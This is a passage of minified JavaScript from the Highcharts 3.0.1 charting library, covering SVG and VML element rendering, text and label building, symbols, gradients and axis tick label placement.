a=this.bBox,b=this.renderer,c,d=this.rotation;c=this.element;var e=this.styles,f=d*bb;if(!a){if(c.namespaceURI===sa||b.forExport){try{a=c.getBBox?v({},c.getBBox()):{width:c.offsetWidth,height:c.offsetHeight}}catch(g){}if(!a||a.width<0)a={width:0,height:0}}else a=this.htmlGetBBox();if(b.isSVG){b=a.width;c=a.height;if(Da&&e&&e.fontSize===\"11px\"&&c.toPrecision(3)===\"22.7\")a.height=c=14;if(d)a.width=\nQ(c*ca(f))+Q(b*Y(f)),a.height=Q(c*Y(f))+Q(b*ca(f))}this.bBox=a}return a},show:function(){return this.attr({visibility:\"visible\"})},hide:function(){return this.attr({visibility:\"hidden\"})},fadeOut:function(a){var b=this;b.animate({opacity:0},{duration:a||150,complete:function(){b.hide()}})},add:function(a){var b=this.renderer,c=a||b,d=c.element||b.box,e=d.childNodes,f=this.element,g=A(f,\"zIndex\"),h;if(a)this.parentGroup=a;this.parentInverted=a&&a.inverted;this.textStr!==void 0&&b.buildText(this);if(g)c.handleZ=\n!0,g=u(g);if(c.handleZ)for(c=0;c<e.length;c++)if(a=e[c],b=A(a,\"zIndex\"),a!==f&&(u(b)>g||!r(g)&&r(b))){d.insertBefore(f,a);h=!0;break}h||d.appendChild(f);this.added=!0;D(this,\"add\");return this},safeRemoveChild:function(a){var b=a.parentNode;b&&b.removeChild(a)},destroy:function(){var a=this,b=a.element||{},c=a.shadows,d,e;b.onclick=b.onmouseout=b.onmouseover=b.onmousemove=b.point=null;Ta(a);if(a.clipPath)a.clipPath=a.clipPath.destroy();if(a.stops){for(e=0;e<a.stops.length;e++)a.stops[e]=a.stops[e].destroy();\na.stops=null}a.safeRemoveChild(b);c&&n(c,function(b){a.safeRemoveChild(b)});a.alignTo&&ga(a.renderer.alignedObjects,a);for(d in a)delete a[d];return null},shadow:function(a,b,c){var d=[],e,f,g=this.element,h,i,j,k;if(a){i=o(a.width,3);j=(a.opacity||0.15)/i;k=this.parentInverted?\"(-1,-1)\":\"(\"+o(a.offsetX,1)+\", \"+o(a.offsetY,1)+\")\";for(e=1;e<=i;e++){f=g.cloneNode(0);h=i*2+1-2*e;A(f,{isShadow:\"true\",stroke:a.color||\"black\",\"stroke-opacity\":j*e,\"stroke-width\":h,transform:\"translate\"+k,fill:S});if(c)A(f,\n\"height\",q(A(f,\"height\")-h,0)),f.cutHeight=h;b?b.element.appendChild(f):g.parentNode.insertBefore(f,g);d.push(f)}this.shadows=d}return this}};var Aa=function(){this.init.apply(this,arguments)};Aa.prototype={Element:ra,init:function(a,b,c,d){var e=location,f;f=this.createElement(\"svg\").attr({xmlns:sa,version:\"1.1\"});a.appendChild(f.element);this.isSVG=!0;this.box=f.element;this.boxWrapper=f;this.alignedObjects=[];this.url=(eb||db)&&z.getElementsByTagName(\"base\").length?e.href.replace(/#.*?$/,\"\").replace(/([\\('\\)])/g,\n\"\\\\$1\").replace(/ /g,\"%20\"):\"\";this.createElement(\"desc\").add().element.appendChild(z.createTextNode(\"Created with Highcharts 3.0.1\"));this.defs=this.createElement(\"defs\").add();this.forExport=d;this.gradients={};this.setSize(b,c,!1);var g;if(eb&&a.getBoundingClientRect)this.subPixelFix=b=function(){L(a,{left:0,top:0});g=a.getBoundingClientRect();L(a,{left:ja(g.left)-g.left+\"px\",top:ja(g.top)-g.top+\"px\"})},b(),J(O,\"resize\",b)},isHidden:function(){return!this.boxWrapper.getBBox().width},destroy:function(){var a=\nthis.defs;this.box=null;this.boxWrapper=this.boxWrapper.destroy();Ga(this.gradients||{});this.gradients=null;if(a)this.defs=a.destroy();this.subPixelFix&&ba(O,\"resize\",this.subPixelFix);return this.alignedObjects=null},createElement:function(a){var b=new this.Element;b.init(this,a);return b},draw:function(){},buildText:function(a){for(var b=a.element,c=this,d=c.forExport,e=o(a.textStr,\"\").toString().replace(/<(b|strong)>/g,'<span style=\"font-weight:bold\">').replace(/<(i|em)>/g,'<span style=\"font-style:italic\">').replace(/<a/g,\n\"<span\").replace(/<\\/(b|strong|i|em|a)>/g,\"</span>\").split(/<br.*?>/g),f=b.childNodes,g=/style=\"([^\"]+)\"/,h=/href=\"([^\"]+)\"/,i=A(b,\"x\"),j=a.styles,k=j&&j.width&&u(j.width),m=j&&j.lineHeight,l=f.length;l--;)b.removeChild(f[l]);k&&!a.added&&this.box.appendChild(b);e[e.length-1]===\"\"&&e.pop();n(e,function(e,f){var l,o=0,e=e.replace(/<span/g,\"|||<span\").replace(/<\\/span>/g,\"</span>|||\");l=e.split(\"|||\");n(l,function(e){if(e!==\"\"||l.length===1){var p={},n=z.createElementNS(sa,\"tspan\"),q;g.test(e)&&(q=\ne.match(g)[1].replace(/(;| |^)color([ :])/,\"$1fill$2\"),A(n,\"style\",q));h.test(e)&&!d&&(A(n,\"onclick\",'location.href=\"'+e.match(h)[1]+'\"'),L(n,{cursor:\"pointer\"}));e=(e.replace(/<(.|\\n)*?>/g,\"\")||\" \").replace(/&lt;/g,\"<\").replace(/&gt;/g,\">\");n.appendChild(z.createTextNode(e));o?p.dx=0:p.x=i;A(n,p);!o&&f&&(!Z&&d&&L(n,{display:\"block\"}),A(n,\"dy\",m||c.fontMetrics(/px$/.test(n.style.fontSize)?n.style.fontSize:j.fontSize).h,db&&n.offsetHeight));b.appendChild(n);o++;if(k)for(var e=e.replace(/([^\\^])-/g,\n\"$1- \").split(\" \"),r,t=[];e.length||t.length;)delete a.bBox,r=a.getBBox().width,p=r>k,!p||e.length===1?(e=t,t=[],e.length&&(n=z.createElementNS(sa,\"tspan\"),A(n,{dy:m||16,x:i}),q&&A(n,\"style\",q),b.appendChild(n),r>k&&(k=r))):(n.removeChild(n.firstChild),t.unshift(e.pop())),e.length&&n.appendChild(z.createTextNode(e.join(\" \").replace(/- /g,\"-\")))}})})},button:function(a,b,c,d,e,f,g){var h=this.label(a,b,c,null,null,null,null,null,\"button\"),i=0,j,k,m,l,p,a={x1:0,y1:0,x2:0,y2:1},e=y({\"stroke-width\":1,\nstroke:\"#CCCCCC\",fill:{linearGradient:a,stops:[[0,\"#FEFEFE\"],[1,\"#F6F6F6\"]]},r:2,padding:5,style:{color:\"black\"}},e);m=e.style;delete e.style;f=y(e,{stroke:\"#68A\",fill:{linearGradient:a,stops:[[0,\"#FFF\"],[1,\"#ACF\"]]}},f);l=f.style;delete f.style;g=y(e,{stroke:\"#68A\",fill:{linearGradient:a,stops:[[0,\"#9BD\"],[1,\"#CDF\"]]}},g);p=g.style;delete g.style;J(h.element,\"mouseenter\",function(){h.attr(f).css(l)});J(h.element,\"mouseleave\",function(){j=[e,f,g][i];k=[m,l,p][i];h.attr(j).css(k)});h.setState=function(a){(i=\na)?a===2&&h.attr(g).css(p):h.attr(e).css(m)};return h.on(\"click\",function(){d.call(h)}).attr(e).css(v({cursor:\"default\"},m))},crispLine:function(a,b){a[1]===a[4]&&(a[1]=a[4]=t(a[1])-b%2/2);a[2]===a[5]&&(a[2]=a[5]=t(a[2])+b%2/2);return a},path:function(a){var b={fill:S};Ba(a)?b.d=a:V(a)&&v(b,a);return this.createElement(\"path\").attr(b)},circle:function(a,b,c){a=V(a)?a:{x:a,y:b,r:c};return this.createElement(\"circle\").attr(a)},arc:function(a,b,c,d,e,f){if(V(a))b=a.y,c=a.r,d=a.innerR,e=a.start,f=a.end,\na=a.x;return this.symbol(\"arc\",a||0,b||0,c||0,c||0,{innerR:d||0,start:e||0,end:f||0})},rect:function(a,b,c,d,e,f){e=V(a)?a.r:e;e=this.createElement(\"rect\").attr({rx:e,ry:e,fill:S});return e.attr(V(a)?a:e.crisp(f,a,b,q(c,0),q(d,0)))},setSize:function(a,b,c){var d=this.alignedObjects,e=d.length;this.width=a;this.height=b;for(this.boxWrapper[o(c,!0)?\"animate\":\"attr\"]({width:a,height:b});e--;)d[e].align()},g:function(a){var b=this.createElement(\"g\");return r(a)?b.attr({\"class\":\"highcharts-\"+a}):b},image:function(a,\nb,c,d,e){var f={preserveAspectRatio:S};arguments.length>1&&v(f,{x:b,y:c,width:d,height:e});f=this.createElement(\"image\").attr(f);f.element.setAttributeNS?f.element.setAttributeNS(\"http://www.w3.org/1999/xlink\",\"href\",a):f.element.setAttribute(\"hc-svg-href\",a);return f},symbol:function(a,b,c,d,e,f){var g,h=this.symbols[a],h=h&&h(t(b),t(c),d,e,f),i=/^url\\((.*?)\\)$/,j,k;if(h)g=this.path(h),v(g,{symbolName:a,x:b,y:c,width:d,height:e}),f&&v(g,f);else if(i.test(a))k=function(a,b){a.element&&(a.attr({width:b[0],\nheight:b[1]}),a.alignByTranslate||a.translate(t((d-b[0])/2),t((e-b[1])/2)))},j=a.match(i)[1],a=Lb[j],g=this.image(j).attr({x:b,y:c}),g.isImg=!0,a?k(g,a):(g.attr({width:0,height:0}),U(\"img\",{onload:function(){k(g,Lb[j]=[this.width,this.height])},src:j}));return g},symbols:{circle:function(a,b,c,d){var e=0.166*c;return[\"M\",a+c/2,b,\"C\",a+c+e,b,a+c+e,b+d,a+c/2,b+d,\"C\",a-e,b+d,a-e,b,a+c/2,b,\"Z\"]},square:function(a,b,c,d){return[\"M\",a,b,\"L\",a+c,b,a+c,b+d,a,b+d,\"Z\"]},triangle:function(a,b,c,d){return[\"M\",\na+c/2,b,\"L\",a+c,b+d,a,b+d,\"Z\"]},\"triangle-down\":function(a,b,c,d){return[\"M\",a,b,\"L\",a+c,b,a+c/2,b+d,\"Z\"]},diamond:function(a,b,c,d){return[\"M\",a+c/2,b,\"L\",a+c,b+d/2,a+c/2,b+d,a,b+d/2,\"Z\"]},arc:function(a,b,c,d,e){var f=e.start,c=e.r||c||d,g=e.end-0.001,d=e.innerR,h=e.open,i=Y(f),j=ca(f),k=Y(g),g=ca(g),e=e.end-f<Ja?0:1;return[\"M\",a+c*i,b+c*j,\"A\",c,c,0,e,1,a+c*k,b+c*g,h?\"M\":\"L\",a+d*k,b+d*g,\"A\",d,d,0,e,0,a+d*i,b+d*j,h?\"\":\"Z\"]}},clipRect:function(a,b,c,d){var e=\"highcharts-\"+tb++,f=this.createElement(\"clipPath\").attr({id:e}).add(this.defs),\na=this.rect(a,b,c,d,0).add(f);a.id=e;a.clipPath=f;return a},color:function(a,b,c){var d=this,e,f=/^rgba/,g,h,i,j,k,m,l,p=[];a&&a.linearGradient?g=\"linearGradient\":a&&a.radialGradient&&(g=\"radialGradient\");if(g){c=a[g];h=d.gradients;j=a.stops;b=b.radialReference;Ba(c)&&(a[g]=c={x1:c[0],y1:c[1],x2:c[2],y2:c[3],gradientUnits:\"userSpaceOnUse\"});g===\"radialGradient\"&&b&&!r(c.gradientUnits)&&(c=y(c,{cx:b[0]-b[2]/2+c.cx*b[2],cy:b[1]-b[2]/2+c.cy*b[2],r:c.r*b[2],gradientUnits:\"userSpaceOnUse\"}));for(l in c)l!==\n\"id\"&&p.push(l,c[l]);for(l in j)p.push(j[l]);p=p.join(\",\");h[p]?a=h[p].id:(c.id=a=\"highcharts-\"+tb++,h[p]=i=d.createElement(g).attr(c).add(d.defs),i.stops=[],n(j,function(a){f.test(a[1])?(e=ma(a[1]),k=e.get(\"rgb\"),m=e.get(\"a\")):(k=a[1],m=1);a=d.createElement(\"stop\").attr({offset:a[0],\"stop-color\":k,\"stop-opacity\":m}).add(i);i.stops.push(a)}));return\"url(\"+d.url+\"#\"+a+\")\"}else return f.test(a)?(e=ma(a),A(b,c+\"-opacity\",e.get(\"a\")),e.get(\"rgb\")):(b.removeAttribute(c+\"-opacity\"),a)},text:function(a,\nb,c,d){var e=N.chart.style,f=$||!Z&&this.forExport;if(d&&!this.forExport)return this.html(a,b,c);b=t(o(b,0));c=t(o(c,0));a=this.createElement(\"text\").attr({x:b,y:c,text:a}).css({fontFamily:e.fontFamily,fontSize:e.fontSize});f&&a.css({position:\"absolute\"});a.x=b;a.y=c;return a},html:function(a,b,c){var d=N.chart.style,e=this.createElement(\"span\"),f=e.attrSetters,g=e.element,h=e.renderer;f.text=function(a){a!==g.innerHTML&&delete this.bBox;g.innerHTML=a;return!1};f.x=f.y=f.align=function(a,b){b===\"align\"&&\n(b=\"textAlign\");e[b]=a;e.htmlUpdateTransform();return!1};e.attr({text:a,x:t(b),y:t(c)}).css({position:\"absolute\",whiteSpace:\"nowrap\",fontFamily:d.fontFamily,fontSize:d.fontSize});e.css=e.htmlCss;if(h.isSVG)e.add=function(a){var b,c=h.box.parentNode,d=[];if(a){if(b=a.div,!b){for(;a;)d.push(a),a=a.parentGroup;n(d.reverse(),function(a){var d;b=a.div=a.div||U(wa,{className:A(a.element,\"class\")},{position:\"absolute\",left:(a.translateX||0)+\"px\",top:(a.translateY||0)+\"px\"},b||c);d=b.style;v(a.attrSetters,\n{translateX:function(a){d.left=a+\"px\"},translateY:function(a){d.top=a+\"px\"},visibility:function(a,b){d[b]=a}})})}}else b=c;b.appendChild(g);e.added=!0;e.alignOnAdd&&e.htmlUpdateTransform();return e};return e},fontMetrics:function(a){var a=u(a||11),a=a<24?a+4:t(a*1.2),b=t(a*0.8);return{h:a,b:b}},label:function(a,b,c,d,e,f,g,h,i){function j(){var a,b;a=o.element.style;w=(La===void 0||xb===void 0||s.styles.textAlign)&&o.getBBox();s.width=(La||w.width||0)+2*q+hb;s.height=(xb||w.height||0)+2*q;A=q+p.fontMetrics(a&&\na.fontSize).b;if(z){if(!B)a=t(-G*q),b=h?-A:0,s.box=B=d?p.symbol(d,a,b,s.width,s.height):p.rect(a,b,s.width,s.height,0,u[Nb]),B.add(s);B.isImg||B.attr(y({width:s.width,height:s.height},u));u=null}}function k(){var a=s.styles,a=a&&a.textAlign,b=hb+q*(1-G),c;c=h?0:A;if(r(La)&&(a===\"center\"||a===\"right\"))b+={center:0.5,right:1}[a]*(La-w.width);(b!==o.x||c!==o.y)&&o.attr({x:b,y:c});o.x=b;o.y=c}function m(a,b){B?B.attr(a,b):u[a]=b}function l(){o.add(s);s.attr({text:a,x:b,y:c});B&&r(e)&&s.attr({anchorX:e,\nanchorY:f})}var p=this,s=p.g(i),o=p.text(\"\",0,0,g).attr({zIndex:1}),B,w,G=0,q=3,hb=0,La,xb,P,H,C=0,u={},A,g=s.attrSetters,z;J(s,\"add\",l);g.width=function(a){La=a;return!1};g.height=function(a){xb=a;return!1};g.padding=function(a){r(a)&&a!==q&&(q=a,k());return!1};g.paddingLeft=function(a){r(a)&&a!==hb&&(hb=a,k());return!1};g.align=function(a){G={left:0,center:0.5,right:1}[a];return!1};g.text=function(a,b){o.attr(b,a);j();k();return!1};g[Nb]=function(a,b){z=!0;C=a%2/2;m(b,a);return!1};g.stroke=g.fill=\ng.r=function(a,b){b===\"fill\"&&(z=!0);m(b,a);return!1};g.anchorX=function(a,b){e=a;m(b,a+C-P);return!1};g.anchorY=function(a,b){f=a;m(b,a-H);return!1};g.x=function(a){s.x=a;a-=G*((La||w.width)+q);P=t(a);s.attr(\"translateX\",P);return!1};g.y=function(a){H=s.y=t(a);s.attr(\"translateY\",H);return!1};var E=s.css;return v(s,{css:function(a){if(a){var b={},a=y(a);n(\"fontSize,fontWeight,fontFamily,color,lineHeight,width\".split(\",\"),function(c){a[c]!==x&&(b[c]=a[c],delete a[c])});o.css(b)}return E.call(s,a)},\ngetBBox:function(){return{width:w.width+2*q,height:w.height+2*q,x:w.x-q,y:w.y-q}},shadow:function(a){B&&B.shadow(a);return s},destroy:function(){ba(s,\"add\",l);ba(s.element,\"mouseenter\");ba(s.element,\"mouseleave\");o&&(o=o.destroy());B&&(B=B.destroy());ra.prototype.destroy.call(s);s=p=j=k=m=l=null}})}};Sa=Aa;var F;if(!Z&&!$){Highcharts.VMLElement=F={init:function(a,b){var c=[\"<\",b,' filled=\"f\" stroked=\"f\"'],d=[\"position: \",\"absolute\",\";\"],e=b===wa;(b===\"shape\"||e)&&d.push(\"left:0;top:0;width:1px;height:1px;\");\nd.push(\"visibility: \",e?\"hidden\":\"visible\");c.push(' style=\"',d.join(\"\"),'\"/>');if(b)c=e||b===\"span\"||b===\"img\"?c.join(\"\"):a.prepVML(c),this.element=U(c);this.renderer=a;this.attrSetters={}},add:function(a){var b=this.renderer,c=this.element,d=b.box,d=a?a.element||a:d;a&&a.inverted&&b.invertChild(c,d);d.appendChild(c);this.added=!0;this.alignOnAdd&&!this.deferUpdateTransform&&this.updateTransform();D(this,\"add\");return this},updateTransform:ra.prototype.htmlUpdateTransform,attr:function(a,b){var c,\nd,e,f=this.element||{},g=f.style,h=f.nodeName,i=this.renderer,j=this.symbolName,k,m=this.shadows,l,p=this.attrSetters,s=this;fa(a)&&r(b)&&(c=a,a={},a[c]=b);if(fa(a))c=a,s=c===\"strokeWidth\"||c===\"stroke-width\"?this.strokeweight:this[c];else for(c in a)if(d=a[c],l=!1,e=p[c]&&p[c].call(this,d,c),e!==!1&&d!==null){e!==x&&(d=e);if(j&&/^(x|y|r|start|end|width|height|innerR|anchorX|anchorY)/.test(c))k||(this.symbolAttr(a),k=!0),l=!0;else if(c===\"d\"){d=d||[];this.d=d.join(\" \");e=d.length;l=[];for(var o;e--;)if(Ca(d[e]))l[e]=\nt(d[e]*10)-5;else if(d[e]===\"Z\")l[e]=\"x\";else if(l[e]=d[e],d.isArc&&(d[e]===\"wa\"||d[e]===\"at\"))o=d[e]===\"wa\"?1:-1,l[e+5]===l[e+7]&&(l[e+7]-=o),l[e+6]===l[e+8]&&(l[e+8]-=o);d=l.join(\" \")||\"x\";f.path=d;if(m)for(e=m.length;e--;)m[e].path=m[e].cutOff?this.cutOffPath(d,m[e].cutOff):d;l=!0}else if(c===\"visibility\"){if(m)for(e=m.length;e--;)m[e].style[c]=d;h===\"DIV\"&&(d=d===\"hidden\"?\"-999em\":0,cb||(g[c]=d?\"visible\":\"hidden\"),c=\"top\");g[c]=d;l=!0}else if(c===\"zIndex\")d&&(g[c]=d),l=!0;else if(la(c,[\"x\",\"y\",\n\"width\",\"height\"])!==-1)this[c]=d,c===\"x\"||c===\"y\"?c={x:\"left\",y:\"top\"}[c]:d=q(0,d),this.updateClipping?(this[c]=d,this.updateClipping()):g[c]=d,l=!0;else if(c===\"class\"&&h===\"DIV\")f.className=d;else if(c===\"stroke\")d=i.color(d,f,c),c=\"strokecolor\";else if(c===\"stroke-width\"||c===\"strokeWidth\")f.stroked=d?!0:!1,c=\"strokeweight\",this[c]=d,Ca(d)&&(d+=\"px\");else if(c===\"dashstyle\")(f.getElementsByTagName(\"stroke\")[0]||U(i.prepVML([\"<stroke/>\"]),null,null,f))[c]=d||\"solid\",this.dashstyle=d,l=!0;else if(c===\n\"fill\")if(h===\"SPAN\")g.color=d;else{if(h!==\"IMG\")f.filled=d!==S?!0:!1,d=i.color(d,f,c,this),c=\"fillcolor\"}else if(c===\"opacity\")l=!0;else if(h===\"shape\"&&c===\"rotation\")this[c]=d,f.style.left=-t(ca(d*bb)+1)+\"px\",f.style.top=t(Y(d*bb))+\"px\";else if(c===\"translateX\"||c===\"translateY\"||c===\"rotation\")this[c]=d,this.updateTransform(),l=!0;else if(c===\"text\")this.bBox=null,f.innerHTML=d,l=!0;l||(cb?f[c]=d:A(f,c,d))}return s},clip:function(a){var b=this,c;a?(c=a.members,ga(c,b),c.push(b),b.destroyClip=\nfunction(){ga(c,b)},a=a.getCSS(b)):(b.destroyClip&&b.destroyClip(),a={clip:cb?\"inherit\":\"rect(auto)\"});return b.css(a)},css:ra.prototype.htmlCss,safeRemoveChild:function(a){a.parentNode&&Ra(a)},destroy:function(){this.destroyClip&&this.destroyClip();return ra.prototype.destroy.apply(this)},on:function(a,b){this.element[\"on\"+a]=function(){var a=O.event;a.target=a.srcElement;b(a)};return this},cutOffPath:function(a,b){var c,a=a.split(/[ ,]/);c=a.length;if(c===9||c===11)a[c-4]=a[c-2]=u(a[c-2])-10*b;\nreturn a.join(\" \")},shadow:function(a,b,c){var d=[],e,f=this.element,g=this.renderer,h,i=f.style,j,k=f.path,m,l,p,s;k&&typeof k.value!==\"string\"&&(k=\"x\");l=k;if(a){p=o(a.width,3);s=(a.opacity||0.15)/p;for(e=1;e<=3;e++){m=p*2+1-2*e;c&&(l=this.cutOffPath(k.value,m+0.5));j=['<shape isShadow=\"true\" strokeweight=\"',m,'\" filled=\"false\" path=\"',l,'\" coordsize=\"10 10\" style=\"',f.style.cssText,'\" />'];h=U(g.prepVML(j),null,{left:u(i.left)+o(a.offsetX,1),top:u(i.top)+o(a.offsetY,1)});if(c)h.cutOff=m+1;j=['<stroke color=\"',\na.color||\"black\",'\" opacity=\"',s*e,'\"/>'];U(g.prepVML(j),null,null,h);b?b.element.appendChild(h):f.parentNode.insertBefore(h,f);d.push(h)}this.shadows=d}return this}};F=ea(ra,F);var na={Element:F,isIE8:ya.indexOf(\"MSIE 8.0\")>-1,init:function(a,b,c){var d,e;this.alignedObjects=[];d=this.createElement(wa);e=d.element;e.style.position=\"relative\";a.appendChild(d.element);this.isVML=!0;this.box=e;this.boxWrapper=d;this.setSize(b,c,!1);if(!z.namespaces.hcv)z.namespaces.add(\"hcv\",\"urn:schemas-microsoft-com:vml\"),\nz.createStyleSheet().cssText=\"hcv\\\\:fill, hcv\\\\:path, hcv\\\\:shape, hcv\\\\:stroke{ behavior:url(#default#VML); display: inline-block; } \"},isHidden:function(){return!this.box.offsetWidth},clipRect:function(a,b,c,d){var e=this.createElement(),f=V(a);return v(e,{members:[],left:f?a.x:a,top:f?a.y:b,width:f?a.width:c,height:f?a.height:d,getCSS:function(a){var b=a.element,c=b.nodeName,a=a.inverted,d=this.top-(c===\"shape\"?b.offsetTop:0),e=this.left,b=e+this.width,f=d+this.height,d={clip:\"rect(\"+t(a?e:d)+\n\"px,\"+t(a?f:b)+\"px,\"+t(a?b:f)+\"px,\"+t(a?d:e)+\"px)\"};!a&&cb&&c===\"DIV\"&&v(d,{width:b+\"px\",height:f+\"px\"});return d},updateClipping:function(){n(e.members,function(a){a.css(e.getCSS(a))})}})},color:function(a,b,c,d){var e=this,f,g=/^rgba/,h,i,j=S;a&&a.linearGradient?i=\"gradient\":a&&a.radialGradient&&(i=\"pattern\");if(i){var k,m,l=a.linearGradient||a.radialGradient,p,s,o,B,w,q=\"\",a=a.stops,r,t=[],x=function(){h=['<fill colors=\"'+t.join(\",\")+'\" opacity=\"',o,'\" o:opacity2=\"',s,'\" type=\"',i,'\" ',q,'focus=\"100%\" method=\"any\" />'];\nU(e.prepVML(h),null,null,b)};p=a[0];r=a[a.length-1];p[0]>0&&a.unshift([0,p[1]]);r[0]<1&&a.push([1,r[1]]);n(a,function(a,b){g.test(a[1])?(f=ma(a[1]),k=f.get(\"rgb\"),m=f.get(\"a\")):(k=a[1],m=1);t.push(a[0]*100+\"% \"+k);b?(o=m,B=k):(s=m,w=k)});if(c===\"fill\")if(i===\"gradient\")c=l.x1||l[0]||0,a=l.y1||l[1]||0,p=l.x2||l[2]||0,l=l.y2||l[3]||0,q='angle=\"'+(90-I.atan((l-a)/(p-c))*180/Ja)+'\"',x();else{var j=l.r,v=j*2,P=j*2,H=l.cx,C=l.cy,y=b.radialReference,u,j=function(){y&&(u=d.getBBox(),H+=(y[0]-u.x)/u.width-\n0.5,C+=(y[1]-u.y)/u.height-0.5,v*=y[2]/u.width,P*=y[2]/u.height);q='src=\"'+N.global.VMLRadialGradientURL+'\" size=\"'+v+\",\"+P+'\" origin=\"0.5,0.5\" position=\"'+H+\",\"+C+'\" color2=\"'+w+'\" ';x()};d.added?j():J(d,\"add\",j);j=B}else j=k}else if(g.test(a)&&b.tagName!==\"IMG\")f=ma(a),h=[\"<\",c,' opacity=\"',f.get(\"a\"),'\"/>'],U(this.prepVML(h),null,null,b),j=f.get(\"rgb\");else{j=b.getElementsByTagName(c);if(j.length)j[0].opacity=1,j[0].type=\"solid\";j=a}return j},prepVML:function(a){var b=this.isIE8,a=a.join(\"\");b?\n(a=a.replace(\"/>\",' xmlns=\"urn:schemas-microsoft-com:vml\" />'),a=a.indexOf('style=\"')===-1?a.replace(\"/>\",' style=\"display:inline-block;behavior:url(#default#VML);\" />'):a.replace('style=\"','style=\"display:inline-block;behavior:url(#default#VML);')):a=a.replace(\"<\",\"<hcv:\");return a},text:Aa.prototype.html,path:function(a){var b={coordsize:\"10 10\"};Ba(a)?b.d=a:V(a)&&v(b,a);return this.createElement(\"shape\").attr(b)},circle:function(a,b,c){if(V(a))c=a.r,b=a.y,a=a.x;return this.symbol(\"circle\").attr({x:a-\nc,y:b-c,width:2*c,height:2*c})},g:function(a){var b;a&&(b={className:\"highcharts-\"+a,\"class\":\"highcharts-\"+a});return this.createElement(wa).attr(b)},image:function(a,b,c,d,e){var f=this.createElement(\"img\").attr({src:a});arguments.length>1&&f.attr({x:b,y:c,width:d,height:e});return f},rect:function(a,b,c,d,e,f){if(V(a))b=a.y,c=a.width,d=a.height,f=a.strokeWidth,a=a.x;var g=this.symbol(\"rect\");g.r=e;return g.attr(g.crisp(f,a,b,q(c,0),q(d,0)))},invertChild:function(a,b){var c=b.style;L(a,{flip:\"x\",\nleft:u(c.width)-1,top:u(c.height)-1,rotation:-90})},symbols:{arc:function(a,b,c,d,e){var f=e.start,g=e.end,h=e.r||c||d,c=e.innerR,d=Y(f),i=ca(f),j=Y(g),k=ca(g);if(g-f===0)return[\"x\"];f=[\"wa\",a-h,b-h,a+h,b+h,a+h*d,b+h*i,a+h*j,b+h*k];e.open&&!c&&f.push(\"e\",\"M\",a,b);f.push(\"at\",a-c,b-c,a+c,b+c,a+c*j,b+c*k,a+c*d,b+c*i,\"x\",\"e\");f.isArc=!0;return f},circle:function(a,b,c,d){return[\"wa\",a,b,a+c,b+d,a+c,b+d/2,a+c,b+d/2,\"e\"]},rect:function(a,b,c,d,e){var f=a+c,g=b+d,h;!r(e)||!e.r?f=Aa.prototype.symbols.square.apply(0,\narguments):(h=K(e.r,c,d),f=[\"M\",a+h,b,\"L\",f-h,b,\"wa\",f-2*h,b,f,b+2*h,f-h,b,f,b+h,\"L\",f,g-h,\"wa\",f-2*h,g-2*h,f,g,f,g-h,f-h,g,\"L\",a+h,g,\"wa\",a,g-2*h,a+2*h,g,a+h,g,a,g-h,\"L\",a,b+h,\"wa\",a,b,a+2*h,b+2*h,a,b+h,a+h,b,\"x\",\"e\"]);return f}}};Highcharts.VMLRenderer=F=function(){this.init.apply(this,arguments)};F.prototype=y(Aa.prototype,na);Sa=F}var Qb;if($)Highcharts.CanVGRenderer=F=function(){sa=\"http://www.w3.org/1999/xhtml\"},F.prototype.symbols={},Qb=function(){function a(){var a=b.length,d;for(d=0;d<a;d++)b[d]();\nb=[]}var b=[];return{push:function(c,d){b.length===0&&Sb(d,a);b.push(c)}}}(),Sa=F;Ia.prototype={addLabel:function(){var a=this.axis,b=a.options,c=a.chart,d=a.horiz,e=a.categories,f=a.series[0]&&a.series[0].names,g=this.pos,h=b.labels,i=a.tickPositions,d=d&&e&&!h.step&&!h.staggerLines&&!h.rotation&&c.plotWidth/i.length||!d&&(c.optionsMarginLeft||c.plotWidth/2),j=g===i[0],k=g===i[i.length-1],f=e?o(e[g],f&&f[g],g):g,e=this.label,i=i.info,m;a.isDatetimeAxis&&i&&(m=b.dateTimeLabelFormats[i.higherRanks[g]||\ni.unitName]);this.isFirst=j;this.isLast=k;b=a.labelFormatter.call({axis:a,chart:c,isFirst:j,isLast:k,dateTimeLabelFormat:m,value:a.isLog?ia(da(f)):f});g=d&&{width:q(1,t(d-2*(h.padding||10)))+\"px\"};g=v(g,h.style);if(r(e))e&&e.attr({text:b}).css(g);else{d={align:h.align};if(Ca(h.rotation))d.rotation=h.rotation;this.label=r(b)&&h.enabled?c.renderer.text(b,0,0,h.useHTML).attr(d).css(g).add(a.labelGroup):null}},getLabelSize:function(){var a=this.label,b=this.axis;return a?(this.labelBBox=a.getBBox())[b.horiz?\n\"height\":\"width\"]:0},getLabelSides:function(){var a=this.axis.options.labels,b=this.labelBBox.width,a=b*{left:0,center:0.5,right:1}[a.align]-a.x;return[-a,b-a]},handleOverflow:function(a,b){var c=!0,d=this.axis,e=d.chart,f=this.isFirst,g=this.isLast,h=b.x,i=d.reversed,j=d.tickPositions;if(f||g){var k=this.getLabelSides(),m=k[0],k=k[1],e=e.plotLeft,l=e+d.len,j=(d=d.ticks[j[a+(f?1:-1)]])&&d.label.xy&&d.label.xy.x+d.getLabelSides()[f?0:1];f&&!i||g&&i?h+m<e&&(h=e-m,d&&h+k>j&&(c=!1)):h+k>l&&(h=l-k,d&&\nh+m<j&&(c=!1));b.x=h}return c},getPosition:function(a,b,c,d){var e=this.axis,f=e.chart,g=d&&f.oldChartHeight||f.chartHeight;return{x:a?e.translate(b+c,null,null,d)+e.transB:e.left+e.offset+(e.opposite?(d&&f.oldChartWidth||f.chartWidth)-e.right-e.left:0),y:a?g-e.bottom+e.offset-(e.opposite?e.height:0):g-e.translate(b+c,null,null,d)-e.transB}},getLabelPosition:function(a,b,c,d,e,f,g,h){var i=this.axis,j=i.transA,k=i.reversed,i=i.staggerLines,a=a+e.x-(f&&d?f*j*(k?-1:1):0),b=b+e.y-(f&&!d?f*j*(k?1:-1):\n0);r(e.y)||(b+=u(c.styles.lineHeight)*0.9-c.getBBox().height/2);i&&(b+=g/(h||1)%i*16);return{x:a,y:b}},getMarkPath:function(a,b,c,d,e,f){return f.crispLine([\"M\",a,b,\"L\",a+(e?0:-c),b+(e?c:0)],d)},render:function(a,b,c){var 